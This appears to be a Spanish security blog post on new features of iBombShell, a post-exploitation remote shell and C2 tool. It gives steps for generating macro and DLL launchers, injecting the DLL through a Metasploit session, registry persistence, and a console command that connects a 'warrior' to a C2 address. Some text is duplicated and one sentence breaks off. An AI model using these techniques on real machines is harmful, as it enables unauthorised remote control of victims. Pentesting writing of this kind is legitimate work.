iBombShel: Últimas novedades de un proyecto creciendo
De nuevo llega la hora de echar mano del proyecto iBombShell y ver cómo está evolucionando y las novedades en las que se está trabajando, para que puedas sacar el máximo partido a tus próximos proyectos de Ethical Hacking con esta herramienta de post-explotación. Todas las novedades se encuentran en la rama Dev dentro del repositorio de GitHub.
A continuación, se irán describiendo los cambios y novedades que se han producido en nuestra herramienta durante este último periodo en el que no os hemos contado nada. Vamos a ello.
Funcionalidad ‘global’
Hasta ahora, para configurar las variables del módulo, solo existía “set”, pero en cada cambio de módulo las variables se reiniciaban, algunas opciones se repetían entre módulos (por ejemplo, warrior), por ello se ha agregado la posibilidad de que las opciones se guarden globalmente, el uso es muy simple: global [opción] [valor]. Se puede ver en la imagen siguiente:
Figura 1: iBombShel: Últimas novedades de un proyecto creciendo |
A continuación, se irán describiendo los cambios y novedades que se han producido en nuestra herramienta durante este último periodo en el que no os hemos contado nada. Vamos a ello.
Funcionalidad ‘global’
Hasta ahora, para configurar las variables del módulo, solo existía “set”, pero en cada cambio de módulo las variables se reiniciaban, algunas opciones se repetían entre módulos (por ejemplo, warrior), por ello se ha agregado la posibilidad de que las opciones se guarden globalmente, el uso es muy simple: global [opción] [valor]. Se puede ver en la imagen siguiente:
Figura 2: Ejemplo de uso de 'global' [opción] [valor] |
Esta función configura la opción tanto de manera local (como haría set), como global. La ventaja, que con configurar una vez la opción nos va a valer para el futuro, permitiendo también hacer el cambio en local en determinados momentos sin afectar al resto.
Para lanzar iBombShell y cargar las instrucciones a través de un fichero, lo único que hay que hacer es agregar el flag -f o --file. Ejemplo de lanzamiento:
py ibombshell.py -f C:\Users\b.jeg\Documents\listener.ibs.
Se puede ver en el siguiente vídeo cómo funciona esta nueva característica en el que se lanza un conjunto de instrucciones a ejecutar secuencialmente.
Figura 3: Ejemplo de iBombShell con fichero de comandos
El fichero debe contener una instrucción por línea. En el ejemplo del vídeo se lanzan tres instrucciones secuenciales: load
Generaciones de código para lanzar iBombShell
Dentro de la herramienta, en la parte C2 se ha decidido agregar la posibilidad de generar códigos que permitan lanzar iBombShell. Actualmente se permite generar para cmd, Powershell, rubber, macro (ver figura siguiente) y dlls.
Figura 4: Generando macro para un warrior |
A la hora de abrir un nuevo warrior a partir de una DLL los pasos que tenemos que hacer son muy sencillos, y se pueden resumir en la siguiente lista:
1. Lanzamos en iBombShell un listener.
2. Generamos la DLL con la dirección IP, puerto y arquitectura (x86 o x64).
3. Lanzamos la inyección desde Metasploit (se requiere una sesión y usar el módulo windows/manage/reflective_dll_inject), y ya tenemos acceso a la máquina objetivo desde iBombShell.
La mejor forma de entenderlo es viendo el siguiente vídeo que dejo a continuación con este mismo ejemplo. Échale un ojo.
Figura 5: PoC de generación de una DLL en IbombShell
En el vídeo ya se cuenta con un meterpreter abierto en la máquina víctima porque no era el objetivo mostrar cómo conseguir la sesión. Para aprender mucho sobre eso, puedes adquirir el libro de nuestro compañero Pablo González de Metasploit para Pentesters [4ª Edicion] donde explica muchas formas de conseguirlo.
Está funcionalidad no es nueva, pero se ha completado, permitiendo (una vez guardadas las funciones) el uso de iBombShell en entornos sin red. El comportamiento de la herramienta se puede ver en el siguiente vídeo.
Figura 6: Cargar y Guardar configuraciones de iBombShell en el registro de Windows
Al usar la función savefunctions se guardan las funciones cargadas en memoria en el registro de Windows, posteriormente para lanzar iBombShell tiramos de el comando en Base 64 que se puede encontrar en el Github, que se encargará de comprobar el registro para ver si tiene que cargar las funciones de ahí o pasar a Internet.
Recientemente se agrego la posibilidad de usar un proxy para iBombShell, para hacer uso de esta utilidad, basta con agregar la flag -proxy y pasarlo en el formato ‘IP:PORT’. Un ejemplo de uso a la hora de abrir un warrior es ejecutar el siguiente comando:
console -Silently -proxt 127.0.0.1:8000 -uriConsole http://192.168.56.101:8080Colaboración iBombShell C2 en .Net
Hace un tiempo mi compañero Pablo González hablo en este blog sobre las colaboraciones que recibió iBombShell por parte de la comunidad, y entre ellas contábamos con Gaizka (un chico que apenas está terminando 4º de la ESO), que estaba desarrollando una interfaz gráfica en .NET. Y actualmente ha mutado convirtiéndose en una gran utilidad, el código de este proyecto se puede ver en su GitHub. La interfaz tiene la pinta que se ve en la Figura 7.
Figura 7: Interfaz de iBombShell C2 en .NET |
Las respuestas que generan todos los Warriors que están conectados se van almacenando en el log, que se puede consultar en todo momento, tal y como se ve en la imagen siguiente.
Figura 8: Log de las respuestas de los warriors |
Un gran trabajo, desde aquí mandar la enhorabuena a Gaizka y animarle a seguir aprendiendo y trabajando así de duro. Toda colaboración de la comunidad es bienvenida, tanto en forma de desarrollo + pull-requests, como ideas o reporte de bugs.
A parte de todo lo contado en el artículo se han agregado módulos para obtener las DLLs del sistema y nuevos banners.
Más Referencias
Por si quieres ampliar información y conocer más sobre iBombShell, aquí tienes todos los recursos publicados hasta la fecha sobre la herramienta, con toda la información que tenemos disponible.
- [GitHub] iBombShell
- [White Paper] iBombShell: Dynamic Remote Shell
- [Blog Post] Pentesting MacOS & Windows with iBombShell
- [Blog Post] iBombShell: Tu Shell de pentesting en MacOS con PowerShell
- [Blog Post] iBombShell: Creando una función para MacOS
- [Blog Post] iBombShell: Environment Injection in Windows 10
- [Blog Post] iBombShell: Crear módulo para extracción de claves SSH privadas
- [Blog Post] iBombShell: UAC Bypass con Mocking Trusted Directories
- [Blog Post] iBombShell: Nuevas funciones presentadas en BlackHat Europe 2018
- [Blog Post] iBombShell: Cómo saltarse AMSI y Windows Defender
- [Blog Post] iBombShell: Cómo hacer un popup phishing
- [Blog Post] BlackHat Arsenal: Tools for Research & Pentesting -> iBombshell
- [Blog Post] iBombShell: Módulo de RID Hijacking & C2 GUI en .Net
- [Blog Post] iBombShel: Últimas novedades de un proyecto creciendo
Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en ElevenPaths y en el equipo de Ideas Locas de la unidad CDO de Telefónica.
- [GitHub] iBombShell
- [White Paper] iBombShell: Dynamic Remote Shell
- [Blog Post] Pentesting MacOS & Windows with iBombShell
- [Blog Post] iBombShell: Tu Shell de pentesting en MacOS con PowerShell
- [Blog Post] iBombShell: Creando una función para MacOS
- [Blog Post] iBombShell: Environment Injection in Windows 10
- [Blog Post] iBombShell: Crear módulo para extracción de claves SSH privadas
- [Blog Post] iBombShell: UAC Bypass con Mocking Trusted Directories
- [Blog Post] iBombShell: Nuevas funciones presentadas en BlackHat Europe 2018
- [Blog Post] iBombShell: Cómo saltarse AMSI y Windows Defender
- [Blog Post] iBombShell: Cómo hacer un popup phishing
- [Blog Post] BlackHat Arsenal: Tools for Research & Pentesting -> iBombshell
- [Blog Post] iBombShell: Módulo de RID Hijacking & C2 GUI en .Net
- [Blog Post] iBombShel: Últimas novedades de un proyecto creciendo
Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en ElevenPaths y en el equipo de Ideas Locas de la unidad CDO de Telefónica.
No hay comentarios:
Publicar un comentario